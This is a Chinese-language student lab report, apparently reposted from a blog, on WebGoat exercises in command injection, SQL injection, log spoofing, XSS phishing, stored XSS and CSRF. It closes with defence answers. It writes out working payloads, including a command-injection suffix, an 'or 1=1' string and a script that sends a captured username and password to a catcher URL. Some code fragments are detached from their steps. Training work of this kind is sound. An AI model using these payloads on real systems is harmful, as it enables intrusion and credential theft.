Exp9 Web安全基础
2021-02-16 19:19
标签:tst you 失败 安全基础 prompt web app cross tac search 一、实验目标 理解和应用常用网络攻击技术的基本原理。 二、实验步骤 (一)SQL注入攻击 1.命令注入:Command Injection 原理:命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式。如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生。 步骤: 选中 Injection Flaws->Command Injection->inspect Element,右键选中inspect Elemnet,对图示的代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。 点击view,查看命令执行结果,可以看到攻击成功,能够看到攻击方与被攻击方建立了连接。 2.数字型注入:Numeric SQL Injection 原理:当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。 步骤: 选中Injection Flaws->Numeric SQL Injectio->inspect Element,对源代码value="101"修改,在101后面添加or 1=1。 or 1=1是返回正确的意思,能够使语句永真。
3.日志欺骗:Log Spoofing 原理:向日志添加虚假信息或插入脚本,管理员通过浏览器观看日志时恶意脚本会被执行。 步骤: 选择Injection Flaws->Log Spoofing,在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin 随意输入密码后点击Login,可以看到webgoat登陆失败了,而admin登陆成功了。 (二)XSS攻击 1.XSS 钓鱼:Phishing with XSS 原理:创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到webgoat上去。 步骤: 在搜索框中输入XSS攻击代码,代码如下: 在搜索框中输入攻击代码后点击Search,出现要输入用户名密码的表单,输入用户名密码,显示攻击成功。
2.Stored XSS Attacks(存储型XSS攻击) 原理:攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。 步骤: 在Title中随意输入,在message中输入攻击代码,点击Submit,攻击成功。
(三)CSRF攻击 1.Cross Site Request Forgery 原理:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。 步骤: 在message框中输入代码,在页面右侧一栏可以看到Screen=324&menu=900。点击Submit后,可以看到转走用户4000元的信息,实现CSRF攻击。
2.CSRF Prompt By-Pass 原理:与1类似,构造CSRF攻击,其包括两个请求,一是转账请求,二是确认转账成功请求。需要额外传递两个参数给服务器(transferFunds=5000, transferFunds=CONFIRM) 步骤: 在message中输入以下代码: 攻击成功。
三、实验思考与体会 (一)基础问题回答 (1)SQL注入攻击原理,如何防御 原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。 如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。 (2)XSS攻击的原理,如何防御 原理:黑客通过HTML注入篡改网页,插入恶意脚本,即代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。 如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。 (3)CSRF攻击原理,如何防御 原理:攻击者盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。 如何防御:输入验证码来检测用户;在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token。 (二)实验体会 此次实验模拟了网络攻击的几种形式,可以看到在网站建设上要尽量的防止出现漏洞,以防被黑客所利用。 Exp9 Web安全基础 标签:tst you 失败 安全基础 prompt web app cross tac search 原文地址:https://www.cnblogs.com/4301xn/p/12964539.html
=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
attack?Screen=280&menu=900&transferFunds=5000">